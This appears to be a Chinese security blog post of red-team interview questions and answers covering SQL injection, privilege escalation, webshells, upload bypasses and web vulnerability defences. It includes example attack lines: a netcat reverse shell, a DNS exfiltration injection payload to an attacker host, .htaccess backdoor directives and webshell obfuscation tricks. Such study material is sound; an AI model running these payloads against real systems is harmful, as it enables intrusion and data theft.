网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
一一四、目标站禁止注册用户,找回密码处提示“用户不存在”的利用方式
一一六、存在.htaccess文件的Webshell利用场景
渗透测试红队面试四
九十一、Android APP 逆向分析步骤一般是怎么样的? 九十二、sql 注入 的分类? 九十三、sql 注入的预防? 九十四、序列化与反序列化的区别 九十五、常见的中间件漏洞? 九十六、内网渗透思路? 九十七、OWASP Top10 有哪些漏洞 九十八、正向代理和反向代理的区别 九十九、蚁剑/菜刀/C 刀/冰蝎的相同与不相同之处 一百、正向 SHELL 和反向 SHELL 的区别 一百〇一、Windows 提权 一百〇二、Windows 常用的提权方法 一百〇三、Linux 提权有哪些方法 一百〇四、数据库有哪些,关系型的和非关系型的分别是哪些 一百〇五、PHP 反序列化 一百〇六、为何一个 MYSQL 数据库的站,只有一个 80 端口开放? 一百〇七、一个成熟并且相对安全的 CMS,渗透时扫描目录的意义? 一百〇八、在某后台新闻编辑界面看到编辑器,应该先做什么? 一百〇九、审查上传点的元素有什么意义? 一百一十、CSRF、XSS 及 XXE 有什么区别,以及修复方式? 一百一十一、3389 无法连接的几种情况 一百一十二、说出至少三种业务逻辑漏洞,以及修复方式? 一百一十三、目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403,什么原因? 一百一十四、目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用? 一百一十五、如何突破注入时字符被转义? 一百一十六、拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么? 一百一十七、安全狗会追踪变量,从而发现出是一句话木马吗? 一百一十八、提权时选择可读写目录,为何尽量不用带空格的目录? 一百一十九、如何利用这个防注入系统拿 shell? 一百二十、CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
九十一、Android APP 逆向分析步骤
- 准备阶段
- 工具准备:使用Apktool反编译APK获取Smali代码,Jadx/Ghidra反编译为Java/C代码,Frida/Xposed进行动态注入。
- 环境隔离:在虚拟机或沙盒中运行APP,防止恶意代码影响真实环境。
- 静态分析
- 逆向资源文件:查看
AndroidManifest.xml
定位入口类、权限声明;分析res
目录中的布局文件和字符串资源。- 代码审计:搜索敏感函数(如
Runtime.exec()
)定位命令执行漏洞;检查加密算法实现(如硬编码密钥)。- 动态调试
- 动态Hook:使用Frida Hook关键函数(如网络请求
okhttp3.Callback
)监控数据传输;Xposed模块修改APP逻辑。- 流量抓包:通过Burp Suite或Charles拦截HTTPS请求,分析API接口参数及加密方式。
- 漏洞挖掘与利用
- 逻辑漏洞:绕过身份验证流程(如修改返回值
isVIP=true
);尝试SQL注入或XXE攻击后端接口。
九十二、SQL注入分类
- 基于错误类型
- 显错注入:通过数据库报错信息获取结构(如MySQL的
floor(rand()*2)
报错)。- 布尔盲注:通过页面返回差异推断数据(如
1' AND 1=1 --
与1' AND 1=2 --
)。- 基于攻击手法
- 联合查询注入:利用
UNION SELECT
拼接查询结果(需列数一致)。- 时间盲注:通过延时函数(如
SLEEP(5)
)判断条件真假。- 基于数据交互方式
- GET/POST注入:通过URL参数或表单提交恶意输入。
- 二次注入:将恶意数据存储后触发(如用户注册后查询时触发)。
九十三、SQL注入预防
- 参数化查询
- 使用预编译语句(如Java的
PreparedStatement
),避免拼接SQL字符串。- 输入过滤与验证
- 白名单校验输入格式(如仅允许字母数字);过滤特殊字符(
'
、"
、#
等)。- 最小权限原则
- 数据库账户仅授予必要权限(如禁用
FILE_PRIV
、PROCESS
权限)。
九十四、序列化与反序列化区别
- 序列化:将对象转换为字节流(如Java的
ObjectOutputStream
),用于网络传输或持久化存储。- 反序列化:将字节流还原为对象,若未校验数据合法性,可能导致RCE(如Apache Commons Collections漏洞)。
- 安全问题:攻击者构造恶意序列化数据触发漏洞(如PHP的
unserialize()
调用危险魔术方法)。
九十五、常见中间件漏洞
- Apache Tomcat
- CVE-2017-12615:PUT方法上传木马文件;弱口令爆破Manager后台。
- Nginx
- 错误配置导致目录遍历(如
alias
路径拼接漏洞);解析漏洞(如.php.jpg
被当作PHP执行)。- WebLogic
- 反序列化漏洞(如CVE-2019-2725);T3协议未授权访问。
九十六、内网渗透思路
- 信息收集
- 扫描内网网段(
10.0.0.0/8
)、识别存活主机(arp-scan
)、端口服务(nmap -sV
)。- 横向移动
- Pass-the-Hash:利用Mimikatz获取哈希值横向登录;SMB漏洞利用(如EternalBlue)。
- 权限维持
- 创建计划任务(
schtasks
)、隐藏后门(如Webshell)、SSH密钥植入。
九十七、OWASP Top10漏洞
2023版核心漏洞:
- 注入(SQL、OS命令);失效的身份认证(弱口令、会话固定)。
- 敏感数据泄露(未加密传输);XXE漏洞(XML外部实体注入)。
- 安全配置错误(默认配置、冗余服务);组件漏洞(第三方库过期)。
九十八、正向代理与反向代理区别
- 正向代理
- 客户端工具(如SS代理),隐藏客户端IP,突破访问限制(如访问Google)。
- 反向代理
- 服务端工具(如Nginx),隐藏服务器拓扑,实现负载均衡与缓存加速。
九十九、Webshell工具对比
工具 加密方式 协议支持 特点 蚁剑 AES/Base64 HTTP/HTTPS 开源,插件扩展性强 冰蝎 TLS动态密钥 WebSocket 流量加密,绕过WAF检测 菜刀 无加密(旧版) HTTP 经典但易被识别
一百、正向Shell与反向Shell区别
- 正向Shell:攻击机主动连接目标机(需目标开放端口),易被防火墙拦截。
- 反向Shell:目标机主动连接攻击机(如
nc 192.168.1.2 4444 -e /bin/sh
),绕过入站规则。
一〇一、Windows提权方法
- 漏洞利用
- 通过
whoami /priv
查找可用的系统令牌(如SeImpersonatePrivilege),利用Print Spooler漏洞(CVE-2021-1675)。- 服务配置漏洞
- 替换服务二进制文件(
sc config
修改路径指向恶意程序)。- DLL劫持
- 将恶意DLL放置在高权限程序加载路径中。
一〇二、Linux提权方法
- SUID滥用
- 查找具有SUID位的程序(
find / -perm -4000
),如利用find -exec
执行命令。- 内核漏洞
- 利用脏牛(CVE-2016-5195)或Dirty Pipe(CVE-2022-0847)提权。
- 定时任务
- 写入恶意脚本到
/etc/cron.hourly
,等待定时执行。
一〇三、数据库分类
- 关系型
- MySQL、Oracle、PostgreSQL(事务支持强,结构化查询)。
- 非关系型
- MongoDB(文档存储)、Redis(键值对)、Neo4j(图数据库)。
一〇四、PHP反序列化漏洞
- 原理:未过滤的
unserialize()
调用触发魔术方法(如__destruct()
、__wakeup()
),执行恶意代码。- 利用链构造:寻找POP链(属性导向编程),串联多个类的方法触发漏洞。
- 防御:禁用
unserialize()
或使用安全反序列化库(如PHP的__sleep()
方法限制)。
一〇五、MySQL仅开放80端口的原因
- 端口转发:Nginx反向代理将80端口请求转发到内网MySQL的3306端口。
- Web应用集成:PHP通过本地Socket(如
mysql.sock
)连接数据库,无需开放网络端口。
一〇六、CMS目录扫描意义
- 敏感文件暴露:备份文件(
.bak
)、配置文件(config.php
)、管理员登录页(/admin
)。- 历史漏洞利用:旧版本漏洞(如
/install.php
未删除导致重安装)。
一〇七、编辑器测试步骤
- 功能验证:尝试上传多种格式文件(如图片、文本),观察是否过滤
.php
或.jsp
。- 绕过测试:修改文件头(GIF89a)、双写扩展名(
shell.php.jpg
)、大小写混淆(shell.PhP
)。
一〇八、审查上传点元素的意义
- 客户端过滤绕过:删除前端JS验证(如
accept=".jpg"
),直接上传恶意文件。- 隐藏参数利用:发现未公开的参数(如
type=php
)控制文件处理逻辑。
一〇九、CSRF、XSS、XXE区别与修复
- CSRF
- 攻击:诱导用户点击链接触发非预期操作(如转账)。
- 修复:Token验证、检查Referer头。
- XSS
- 攻击:注入恶意脚本窃取Cookie。
- 修复:输入过滤、CSP策略。
- XXE
- 攻击:XML解析外部实体导致文件读取。
- 修复:禁用DTD、使用JSON替代XML。
一一〇、3389无法连接的可能原因
- 网络层:防火墙拦截(入站规则)、NAT未映射、目标机未开启Remote Desktop服务。
- 系统层:端口修改(注册表
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
的Port值)。
一一一、业务逻辑漏洞案例
- 密码重置漏洞
- 案例:未验证用户身份直接修改密码(如仅验证手机号归属)。
- 修复:多因素认证(短信验证码+邮箱确认)。
- 订单金额篡改
- 案例:前端提交负数或0元订单。
- 修复:后端校验价格一致性。
一一二、上传脚本403的原因
- 服务端过滤:Web服务器(如Nginx)配置
location ~ \.php$ { deny all; }
阻止PHP执行。- 文件类型检查:通过MIME类型(
Content-Type: image/jpeg
)或扩展名黑名单拦截。
一一三、用户名枚举利用
- 漏洞利用:通过响应差异(“用户不存在”提示)枚举有效用户名,用于精准钓鱼或密码爆破。
- 防御:统一错误提示(如“重置链接已发送至您的邮箱”)。
一一四、目标站禁止注册用户,找回密码处提示“用户不存在”的利用方式
- 用户名枚举漏洞
- 原理:通过返回差异(“用户存在”与“用户不存在”)判断有效用户名。
- 利用:使用工具(Burp Intruder)批量测试常见用户名(如admin、test),建立有效用户列表。
- 后续攻击:针对有效用户发起密码爆破(密码喷洒攻击)或钓鱼邮件(伪装密码重置链接)。
- 横向渗透入口
- 信息收集:枚举管理员用户名后,结合其他漏洞(如弱口令)尝试登录后台。
- 防御措施
- 统一提示信息(如“重置链接已发送至您的邮箱”);
- 增加验证码或请求频率限制(防止自动化枚举)。
一一五、突破SQL注入字符转义的绕过技术
- 编码绕过
- 十六进制编码:将敏感字符转为十六进制(如
'
→0x27
)。- URL编码:利用
%20
代替空格,%27
代替单引号。- 二次注入
- 存储型注入:先将恶意代码存入数据库(如用户简介字段),后续查询触发漏洞。
- 非标准分隔符
- 注释符分割:使用
/**/
替代空格(如UNION/**/SELECT
);- 反引号包裹:MySQL中利用反引号绕过关键字过滤(如
SELECT `version()`
)。
一一六、存在.htaccess文件的Webshell利用场景
- 修改服务器配置
- 重定向与权限控制:强制所有PHP文件通过特定解析器执行(如
AddHandler php-passthru .php
)。- 解析漏洞利用:将图片后缀解析为PHP(如
AddType application/x-httpd-php .jpg
)。- 隐藏后门
- 自定义错误页面:设置404页面指向恶意脚本(
ErrorDocument 404 /shell.php
)。- IP白名单绕过:限制访问源IP,仅允许攻击者IP访问敏感路径。
- 防御对抗
- 监控.htaccess变动:使用文件完整性检查工具(如Tripwire)告警异常修改。
一一七、安全狗检测一句话木马的机制
- 变量追踪原理
- 静态特征检测:匹配
eval($_POST['cmd'])
等经典特征;- 动态行为监控:检测敏感函数调用链(如
文件写入→代码执行
)。- 绕过方法
- 变量混淆:使用
${"_G"."ET"}
动态拼接变量名;- 加密传输:使用AES加密POST数据,Webshell内解密执行。
- 防御升级
- AI模型分析代码上下文语义,而非单纯依赖特征匹配。
一一八、提权时避免带空格目录的原因
- 命令行解析风险
- 路径截断:Windows命令行中空格可能被解析为参数分隔符(如
C:\Program Files
→C:\Program
和Files
)。- 路径引用问题
- 需手动添加引号(如
"C:\Program Files\xxx.exe"
),增加操作复杂度。- 历史漏洞案例
- Unquoted Service Path漏洞:服务路径包含空格且未引号包裹时,可劫持执行权限(如
C:\Program Files\Service\A.exe
优先执行C:\Program.exe
)。
一一九、利用防注入系统漏洞获取Shell的途径
- 白名单绕过
- 特定字段注入:绕过全局过滤,在未防护的字段(如文件上传描述)注入恶意代码。
- 非标准协议注入
- 利用DNS外带数据:通过
LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.attacker.com\\test'))
泄漏数据。- 复合漏洞利用
- 结合文件上传:防注入系统未覆盖文件上传功能时,上传图片马并配合解析漏洞获取Shell。
一二十、CSRF、XSS、XXE的区别与修复方式
攻击类型 攻击原理 修复方式 CSRF 伪造用户身份执行非预期操作(如转账) 添加CSRF Token、校验Referer头、敏感操作二次认证。 XSS 注入恶意脚本窃取Cookie/篡改页面内容 输入输出过滤、CSP策略、HttpOnly Cookie。 XXE 利用XML解析加载外部实体导致文件读取/SSRF 禁用DTD、使用JSON替代XML、过滤 <!ENTITY>
。扩展对比:
- CSRF依赖用户身份,攻击者需诱骗用户触发;
- XSS直接危害用户端,可持久化(存储型XSS);
- XXE针对服务端解析器,常导致内部信息泄漏。